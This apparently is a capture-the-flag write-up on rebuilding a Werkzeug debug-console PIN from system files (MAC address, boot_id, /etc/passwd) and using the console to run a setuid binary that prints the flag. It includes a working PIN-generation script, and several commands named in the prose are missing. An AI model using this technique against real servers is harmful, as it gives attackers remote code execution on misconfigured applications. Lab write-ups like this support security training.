MAC address from /sys/class/net/eth0/address (converted to decimal)
Machine ID
/etc/machine-id was empty, so we used the alternative location:
/proc/sys/kernel/random/boot_id
Using these values, we reconstructed the PIN with:
The script generated the correct Werkzeug debug PIN, allowing access to:
Note: The debug console endpoint can be either /console or /debug depending on the Werkzeug version. In this challenge, /console was the correct one. It can also easily be find with a fuzzing tool, like dirsearch.
After entering the PIN, we obtained the interactive Python console.
Inside the console:
List files:
Execute the binary:
Because readflag calls setuid(0), it runs as root and reads /app/flag.txt, printing the flag directly in the console.
Note: Important paths for this challenge
/proc/self/status - for current UID
/etc/passwd - for finding the current user via UID
import hashlib
from itertools import chain
probably_public_bits = [
'werkzeug',
'flask.app',
'Flask',
'/usr/local/lib/python3.11/site-packages/flask/app.py'
]
private_bits = [
'42742887385508',
'2dcd580d-1110-4302-a691-2b6e21ddd4c6'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
pin = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
print(pin)